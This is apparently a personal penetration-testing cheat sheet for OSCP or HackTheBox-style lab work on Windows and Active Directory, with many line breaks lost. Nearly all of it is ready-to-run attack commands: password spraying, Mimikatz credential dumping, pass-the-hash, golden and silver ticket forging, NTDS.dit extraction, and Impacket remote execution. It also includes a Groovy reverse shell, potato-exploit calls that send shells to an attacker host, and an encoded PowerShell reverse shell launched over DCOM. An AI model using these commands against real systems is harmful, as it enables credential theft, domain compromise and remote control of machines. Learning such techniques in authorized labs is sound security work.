# Tunnel TCPsudo socat -v TCP-LISTEN:135, fork, reuseaddr TCP:IP:PORTPassword Spray
# password spraynetexec smb rebound.htb -u users -p '1GR8t@$$4u' --continue-on-success
#Password Spray - we have a some user but just one passwordcrackmapexec ldap 10.10.10.12 -u file.txt -p pepito123 --kerberos --continue-on-succes
crackmapexec smb IP/host -u users.txt -p 'pass' -d domain.htb --continue-on-success #use continue-on-success option if it's subnet
proxychains -q /home/kali/go/bin/kerbrute passwordspray -d domain.htb users.txt password1 --dc 10.10.103.152 -vvv
# Brute Forcekerbrute bruteuser -d domain.com jeffadmin password.txt
kerbrute passwordspray -d domain.htb users.txt password1Evil-Winrm
#login with user and passwordsudo evil-winrm -i blazorized.htb -u RSA_4810 -p '(Ni7856Do9854Ki05Ng0005 #)'
##Login with Hashevil-winrm -i $IP -u user -H ntlmhash
sudo evil-winrm -i blazorized.htb -u Administrator -H 'Ni7856Do9854Ki05Ng0005wa2e'
# Loading files directly from kalievil-winrm -i $IP -u user -p pass -s /opt/privsc/powershellBypass-4MSIInvoke-Mimikatz.ps1Invoke-Mimikatz
##evil-winrm commandsmenu # to view commands#There are several commands to run#This is an example for running a binaryevil-winrm -i <IP> -u user -p pass -e /opt/privscBypass-4MSImenuInvoke-Binary /opt/privsc/winPEASx64.exe
#login with proxychains to tunnel privproxychains evil-winrm -i 127.0.0.1 -u 'simple' -p 'password' 2>/dev/nullImpacket
smbclient.py [domain]/[user]:[password/password hash]@[Target IP Address] #we connect to the server rather than a share
lookupsid.py [domain]/[user]:[password/password hash]@[Target IP Address] #User enumeration on target
services.py [domain]/[user]:[Password/Password Hash]@[Target IP Address] [Action] #service enumeration
secretsdump.py [domain]/[user]:[password/password hash]@[Target IP Address] #Dumping hashes on target
GetUserSPNs.py [domain]/[user]:[password/password hash]@[Target IP Address] -dc-ip <IP> -request #Kerberoasting, and request option dumps TGS
GetNPUsers.py test.local/ -dc-ip <IP> -usersfile usernames.txt -format hashcat -outputfile hashes.txt #Asreproasting, need to provide usernames list
GetNPUsers.py -usersfile users domain.htb/ -dc-ip 10.10.11.231
##RCEpsexec.py test.local/john:password123@10.10.10.1psexec.py -hashes lmhash:nthash test.local/john@10.10.10.1
wmiexec.py test.local/john:password123@10.10.10.1wmiexec.py -hashes lmhash:nthash test.local/john@10.10.10.1
smbexec.py test.local/john:password123@10.10.10.1smbexec.py -hashes lmhash:nthash test.local/john@10.10.10.1
atexec.py test.local/john:password123@10.10.10.1 <command>atexec.py -hashes lmhash:nthash test.local/john@10.10.10.1 <command>NFS Enumeration
nmap -sV --script=nfs-showmount IPshowmount -e IPSNMP Enumeration
#Nmap UDP scansudo nmap <IP> -A -T4 -p- -sU -v -oN nmap-udpscan.txt
snmpcheck -t <IP> -c public #Better version than snmpwalk as it displays more user friendly
snmpwalk -c public -v1 -t 10 <IP> #Displays entire MIB tree, MIB Means Management Information Basesnmpwalk -c public -v1 <IP> 1.3.6.1.4.1.77.1.2.25 #Windows User enumerationsnmpwalk -c public -v1 <IP> 1.3.6.1.2.1.25.4.2.1.2 #Windows Processes enumerationsnmpwalk -c public -v1 <IP> 1.3.6.1.2.1.25.6.3.1.2 #Installed software enumeraionsnmpwalk -c public -v1 <IP> 1.3.6.1.2.1.6.13.1.3 #Opened TCP Ports
#Windows MIB values1.3.6.1.2.1.25.1.6.0 - System Processes1.3.6.1.2.1.25.4.2.1.2 - Running Programs1.3.6.1.2.1.25.4.2.1.4 - Processes Path1.3.6.1.2.1.25.2.3.1.4 - Storage Units1.3.6.1.2.1.25.6.3.1.2 - Software Name1.3.6.1.4.1.77.1.2.25 - User Accounts1.3.6.1.2.1.6.13.1.3 - TCP Local PortsRPC Enumeration
rpcclient -U=user $IPrpcclient -U="" $IP #Anonymous login##Commands within in RPCclientsrvinfoenumdomusers #usersenumpriv #like "whoami /priv"queryuser <user> #detailed user infogetuserdompwinfo <RID> #password policy, get user-RID from previous commandlookupnames <user> #SID of specified usercreatedomuser <username> #Creating a userdeletedomuser <username>enumdomainsenumdomgroupsquerygroup <group-RID> #get rid from previous commandquerydispinfo #description of all usersnetshareenum #Share enumeration, this only comesup if the current user we're logged in has permissionsnetshareenumalllsaenumsid #SID of all users- Tip: The user for get a shell, need to are in ‘Remote Managament User’ Group.
Mimikatz
# Dumps credentials from memory, using the Mimikatz module in PowerShell.Invoke-Mimikatz -DumpCreds
sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<hash> /run:<command>: # Allows authentication using NTLM hashes, enabling lateral movement without knowing the password.
sekurlsa::logonpasswords # Extracts plaintext passwords and hashes for logged-in users.
privilege::debug
token::elevate
lsadump::samlsadump::sam SystemBkup.hiv SamBkup.hivlsadump::dcsync /domain:domain.htb /user:Administratorlsadump::lsa /patchMimikatz | CheatSheet
#generalprivilege::debugloglog customlogfilename.log
#sekurlsasekurlsa::logonpasswordssekurlsa::logonPasswords fullsekurlsa::tickets /exportsekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd
#kerberoskerberos::list /exportkerberos::ptt c:\chocolate.kirbi
kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi
.\mimikatz kerberos::golden /admin:ADMINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt
#cryptocrypto::capicrypto::cngcrypto::certificates /exportcrypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINEcrypto::keys /exportcrypto::keys /machine /export
#vault & lsadumpvault::credvault::listtoken::elevatevault::credvault::listlsadump::samlsadump::secretslsadump::cachetoken::revertlsadump::dcsync /user:domain\krbtgt /domain:lab.local
#pthsekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1asekurlsa::pth /user:Administrateur /domain:chocolate.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9sekurlsa::pth /user:Administrator /domain:WOSHUB /ntlm:{NTLM_hash} /run:cmd.exe
#ekeyssekurlsa::ekeys
#dpapisekurlsa::dpapi
#minidumpsekurlsa::minidump lsass.dmp
#pttkerberos::ptt Administrateur@krbtgt-CHOCOLATE.LOCAL.kirbi
#golden/silverkerberos::golden /user:utilisateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /id:1107 /groups:513 /ticket:utilisateur.chocolate.kirbikerberos::golden /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /aes256:15540cac73e94028231ef86631bc47bd5c827847ade468d6f6f739eb00c68e42 /user:Administrateur /id:500 /groups:513,512,520,518,519 /ptt /startoffset:-10 /endin:600 /renewmax:10080kerberos::golden /admin:Administrator /domain:CTU.DOMAIN /sid:S-1-1-12-123456789-1234567890-123456789 /krbtgt:deadbeefboobbabe003133700009999 /ticket:Administrator.kiribi
#tgtkerberos::tgt
#purgekerberos::purgeGroovy reverse-shell
String host="localhost";int port=8044;String cmd="cmd.exe";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();Shadow Credentials (kerberos)
certipy shadow auto -username user@domain.htb -password 'pass' -k -account winrm_svc -target dc01.rebound.htbCredential Delegation (Kerberos)
# https://github.com/antonioCoco/RemotePotato0.\RemotePotato0.exe -m 2 -s 1 -x ip -p portLigolo-ng
#Creating interface and starting it.sudo ip tuntap add user $(whoami) mode tun ligolosudo ip link set ligolo up
#Kali machine - Attacker machine./proxy -laddr 0.0.0.0:9001 -selfcert
#windows or linux machine - compromised machineagent.exe -connect <LHOST>:9001 -ignore-cert
#In Ligolo-ng consolesession #select hostifconfig #Notedown the internal network's subnetstart #after adding relevent subnet to ligolo interface
#Adding subnet to ligolo interface - Kali linuxsudo ip r add <subnet> dev ligoloWindows Privilege Escalation
cd C:\ & findstr /SI /M "OS{" *.xml *.ini *.txt - for finding files which contain OSCP flag..
Manual Enumeration commands
#Groups we're part ofwhoami /groups
# lists everything we own.whoami /all
Get-Acl -Path <file or directory> # Displays the Access Control List (ACL) for files or directories, to check for misconfigurations or weak permissions.Get-LocalGroupMember Administrators # Checks if the current user has admin privileges.icacls <file or folder> # Similar to Get-Acl, lists permissions for files and foldersInvoke-BypassUAC # From PowerSploit; technique to bypass UAC (User Account Control), such as loading specific DLLs or using certain exploits.# Networking
Invoke-Command -ComputerName <target> -ScriptBlock { commands } # Executes PowerShell commands on a remote machine.
Enter-PSSession -ComputerName <target> # Establishes an interactive session with a remote machine using PowerShell remoting.
# Copy Files to Remote System
Copy-Item -Path <local> -Destination \\<remote>\C$\<path> # Copies files to a remote system’s administrative share (requires administrative privileges).
#Starting, Restarting and Stopping services in PowershellStart-Service <service>Stop-Service <service>Restart-Service <service>
#Powershell HistoryGet-History(Get-PSReadlineOption).HistorySavePath #displays the path of consoleHost_history.txttype C:\Users\sathvik\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
#Viewing installed execuatblesGet-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displaynameGet-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
#Process InformationGet-ProcessGet-Process | Select ProcessName,Path
#Sensitive info in XAMPP DirectoryGet-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinueGet-ChildItem -Path C:\Users\dave\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue #this for a specific user
#Service InformationGet-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}Windows Directory
C:\windows\system32 # stores essential system binaries and libC:\windows\system32\drives # location for device driversC:\windows\system32\config # holds system config files, such as the registry hivesC:\Temp or C:\Windows\Temp # temporary files that are deleted upon rebootC:\Recycle Bin # default location for deleted filesC:\windows\Installer # stores installation files and metadataC:\windows\WinSxS # stores side-by-side assemblies and system componentsC:\windows\Tasks # location for scheduled tasksC:\windows\Prefetch # Contains preloaded application dataC:\windows\Inf # Contains setup informationC:\windows\Logs # stores various log files generated by the system componentsC:\windows\assembly # location for global assembly cacheC:\windows\System #legacy directory on older windows vC:\windows\HelpAutomated Scripts
winpeas.exewinpeas.batJaws-enum.ps1powerup.ps1PrivescCheck.ps1Token Impersonation
- Command to check whoami /priv
#PrintspooferPrintSpoofer.exe -i -c powershell.exePrintSpoofer.exe -c "nc.exe <lhost> <lport> -e cmd"
#RoguePotatoRoguePotato.exe -r <AttackerIP> -e "shell.exe" -l 9999
#GodPotatoGodPotato.exe -cmd "cmd /c whoami"GodPotato.exe -cmd "shell.exe"
#JuicyPotatoNGJuicyPotatoNG.exe -t * -p "shell.exe" -a
#SharpEfsPotatoSharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"#writes whoami command to w.log filePost Exploitation
This is more windows specific as exam specific.
Sensitive Information
Powershell History
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
#Exampletype C:\Users\sathvik\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txtSearching for passwords
dir .s *pass* == *.configfindstr /si password *.xml *.ini *.txtSearching in Registry for Passwords
reg query HKLM /f password /t REG_SZ /sreg query HKCU /f password /t REG_SZ /sKDBX Files
#These are KeyPassX password stored filescmd> dir /s /b *.kdbxPs> Get-ChildItem -Recurse -Filter *.kdbx
#Crackingkeepass2john Database.kdbx > keepasshashjohn --wordlist=/home/sathvik/Wordlists/rockyou.txt keepasshashDumping Hashes
- Use Mimikatz
- If this is a domain joined machine, run BloodHound.
Active Directory Pentesting
Enumeration
net localgroup Administrators #to check local adminsPowerview
Import-Module .\PowerView.ps1 #loading module to powershell, if it gives error then change execution policyGet-NetDomain #basic information about the domainGet-NetUser #list of all users in the domain# The above command's outputs can be filtered using "select" command. For example, "Get-NetUser | select cn", here cn is sideheading for the output of above command. we can select any number of them seperated by comma.Get-NetGroup # enumerate domain groupsGet-NetGroup "group name" # information from specific groupGet-NetComputer # enumerate the computer objects in the domainFind-LocalAdminAccess # scans the network in an attempt to determine if our current user has administrative permissions on any computers in the domainGet-NetSession -ComputerName files04 -Verbose #Checking logged on users with Get-NetSession, adding verbosity gives more info.Get-NetUser -SPN | select samaccountname,serviceprincipalname # Listing SPN accounts in domainGet-ObjectAcl -Identity <user> # enumerates ACE(access control entities), lists SID(security identifier). ObjectSIDConvert-SidToName <sid/objsid> # converting SID/ObjSID to name
# Checking for "GenericAll" right for a specific group, after obtaining they can be converted using convert-sidtonameGet-ObjectAcl -Identity "group-name" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights
Find-DomainShare #find the shares in the domain
Get-DomainUser -PreauthNotRequired -verbose # identifying AS-REP roastable accounts
Get-NetUser -SPN | select serviceprincipalname #Kerberoastable accountsBloodhound
- Collection methods - database
# Sharphound - transfer sharphound.ps1 into the compromised machineImport-Module .\Sharphound.ps1Invoke-BloodHound -CollectionMethod All -OutputDirectory <location> -OutputPrefix "name" # collects and saved with the specified details, output will be saved in windows compromised machine
# Bloodhound-Pythonbloodhound-python -u 'uname' -p 'pass' -ns <rhost> -d <domain-name> -c all #output will be saved in you kali machine- Running Bloodhound
sudo neo4j console# then upload the .json files obtainedLDAPDOMAINDUMP
- These files contains information in a well structured webpage format.
sudo ldapdomaindump ldaps://<IP> -u 'username' -p 'password' #Do this in a new folderPlumHound
- Link: https://github.com/PlumHound/PlumHound install from the steps mentioned.
- Keep both Bloodhound and Neo4j running as this tool acquires information from them.
sudo python3 plumhound.py --easy -p <neo4j-password> #Testing connectionpython3 PlumHound.py -x tasks/default.tasks -p <neo4jpass> #Open index.html as once this command is completed it produces somany filesfirefox index.htmlPingCastle
- www.pingcastle.com - Download Zip file from here.
- This needs to be run on windows machine, just hit enter and give the domain to scan.
- It gives a report at end of scan.
PsLoggedon
# To see user logons at remote system of a domain(external tool).\PsLoggedon.exe \\<computername>GPP or CPassword
- Impacket
# with a NULL sessionGet-GPPPassword.py -no-pass 'DOMAIN_CONTROLLER'
# with cleartext credentialsGet-GPPPassword.py 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'
# pass-the-hash (with an NT hash)Get-GPPPassword.py -hashes :'NThash' 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'
# parse a local fileGet-GPPPassword.py -xmlfile '/path/to/Policy.xml' 'LOCAL'- SMB share - If SYSVOL share or any share which
domainname as folder name
#Download the whole sharehttps://github.com/ahmetgurel/Pentest-Hints/blob/master/AD%20Hunting%20Passwords%20In%20SYSVOL.md#Navigate to the downloaded foldergrep -inr "cpassword"- Crackmapexec
crackmapexec smb <TARGET[s]> -u <USERNAME> -p <PASSWORD> -d <DOMAIN> -M gpp_passwordcrackmapexec smb <TARGET[s]> -u <USERNAME> -H LMHash:NTLMHash -d <DOMAIN> -M gpp_password- Decrypting the CPassword
gpp-decrypt "cpassword"Attacking Active Directory
Zerologon
- Exploit
- We can dump hashes on target even without any credentials.
Password Spraying
# Crackmapexec - check if the output shows 'Pwned!'crackmapexec smb <IP or subnet> -u users.txt -p 'pass' -d <domain> --continue-on-success #use continue-on-success option if it's subnet
# Kerbrutekerbrute passwordspray -d corp.com .\usernames.txt "pass"AS-REP Roasting
impacket-GetNPUsers -dc-ip <DC-IP> <domain>/<user>:<pass> -request #this gives us the hash of AS-REP Roastable accounts, from kali linux.\Rubeus.exe asreproast /nowrap #dumping from compromised windows host
hashcat -m 18200 hashes.txt wordlist.txt --force # cracking hashesKerberoasting
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast #dumping from compromised windows host, and saving with customname
impacket-GetUserSPNs -dc-ip <DC-IP> <domain>/<user>:<pass> -request #from kali machine
hashcat -m 13100 hashes.txt wordlist.txt --force # cracking hashesSilver Tickets
- Obtaining hash of an SPN user using Mimikatz
privilege::debugsekurlsa::logonpasswords #obtain NTLM hash of the SPN account here- Obtaining Domain SID
ps> whoami /user# this gives SID of the user that we're logged in as. If the user SID is "S-1-5-21-1987370270-658905905-1781884369-1105" then the domain SID is "S-1-5-21-1987370270-658905905-1781884369"- Forging silver ticket Ft Mimikatz
kerberos::golden /sid:<domainSID> /domain:<domain-name> /ptt /target:<targetsystem.domain> /service:<service-name> /rc4:<NTLM-hash> /user:<new-user>exit
# we can check the tickets by,ps> klist- Accessing service
ps> iwr -UseDefaultCredentials <servicename>://<computername>Secretsdump
secretsdump.py <domain>/<user>:<password>@<IP>secretsdump.py uname@IP -hashes lmhash:ntlmhash #local usersecretsdump.py domain/uname@IP -hashes lmhash:ntlmhash #domain userDumping NTDS.dit
secretsdump.py <domain>/<user>:<password>@<IP> -just-dc-ntlm#use -just-dc-ntlm option with any of the secretsdump command to dump ntds.ditLateral Movement in Active Directory
psexec - smbexec - wmiexec - atexec
- Here we can pass the credentials or even hash, depending on what we have
Always pass full hash to these tools!
psexec.py <domain>/<user>:<password1>@<IP># the user should have write access to Admin share then only we can get sesssion
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 <domain>/<user>@<IP> <command>#we passed full hash here
smbexec.py <domain>/<user>:<password1>@<IP>
smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 <domain>/<user>@<IP> <command>#we passed full hash here
wmiexec.py <domain>/<user>:<password1>@<IP>
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 <domain>/<user>@<IP> <command>#we passed full hash here
atexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 <domain>/<user>@<IP> <command>#we passed full hash herewinrs
winrs -r:<computername> -u:<user> -p:<password> "command"# run this and check whether the user has access on the machine, if you have access then run a powershell reverse-shell# run this on windows sessioncrackmapexec
- If stuck make use of Wiki
crackmapexec {smb/winrm/mssql/ldap/ftp/ssh/rdp} #supported servicescrackmapexec smb <Rhost/range> -u user.txt -p password.txt --continue-on-success # Bruteforcing attack, smb can be replaced. Shows "Pwned"crackmapexec smb <Rhost/range> -u user.txt -p password.txt --continue-on-success | grep '[+]' #grepping the way out!crackmapexec smb <Rhost/range> -u user.txt -p 'password' --continue-on-success #Password spraying, viceversa can also be done
#Try --local-auth option if nothing comes upcrackmapexec smb <Rhost/range> -u 'user' -p 'password' --shares #lists all shares, provide creds if you have onecrackmapexec smb <Rhost/range> -u 'user' -p 'password' --diskscrackmapexec smb <DC-IP> -u 'user' -p 'password' --users #we need to provide DC ipcrackmapexec smb <Rhost/range> -u 'user' -p 'password' --sessions #active logon sessionscrackmapexec smb <Rhost/range> -u 'user' -p 'password' --pass-pol #dumps password policycrackmapexec smb <Rhost/range> -u 'user' -p 'password' --sam #SAM hashescrackmapexec smb <Rhost/range> -u 'user' -p 'password' --lsa #dumping lsa secretscrackmapexec smb <Rhost/range> -u 'user' -p 'password' --ntds #dumps NTDS.dit filecrackmapexec smb <Rhost/range> -u 'user' -p 'password' --groups {groupname} #we can also run with a specific group and enumerated users of that group.crackmapexec smb <Rhost/range> -u 'user' -p 'password' -x 'command' #For executing commands, "-x" for cmd and "-X" for powershell command
#Pass the hashcrackmapexec smb <ip or range> -u username -H <full hash> --local-auth#We can run all the above commands with hash and obtain more information
#crackmapexec modulescrackmapexec smb -L #listing modulescrackmapexec smb -M mimikatx --options #shows the required options for the modulecrackmapexec smb <Rhost> -u 'user' -p 'password' -M mimikatz #runs default commandcrackmapexec smb <Rhost> -u 'user' -p 'password' -M mimikatz -o COMMAND='privilege::debug' #runs specific command-M- Crackmapexec database
cmedb #to launch the consolehelp #run this command to view some others, running individual commands give infor on all the data till now we did.Pass the ticket
.\mimikatz.exesekurlsa::tickets /exportkerberos::ptt [0;76126]-2-0-40e10000-Administrator@krbtgt-<RHOST>.LOCAL.kirbiklistdir \\<RHOST>\admin$DCOM
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.50.73"))
$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")
$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5A...AC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA","7")Golden Ticket
- Get the krbtgt hash
.\mimikatz.exeprivilege::debug#below are some wayslsadump::lsa /inject /name:krbtgtlsadump::lsa /patchlsadump::dcsync /user:krbtgt
kerberos::purge #removes any exisiting tickets
#sample commandkerberos::golden /user:sathvik /domain:evilcorp.com /sid:S-1-5-21-510558963-1698214355-4094250843 /krbtgt:4b4412bbe7b3a88f5b0537ac0d2bf296 /ticket:golden
#Saved with name "golden" here, there are other options to check as well- Obtaining access!
mimikatz.exe #no need for highest privilegeskerberos::ptt goldenmisc::cmd #we're accessing cmdShadow Copies
vshadow.exe -nw -p C:copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit.bakreg.exe save hklm\system c:\system.bakimpacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCALTools
[OSCP](https://github.com/0xsyr0/OSCP)[CheatSheet](https://github.com/exfilt/CheatSheet)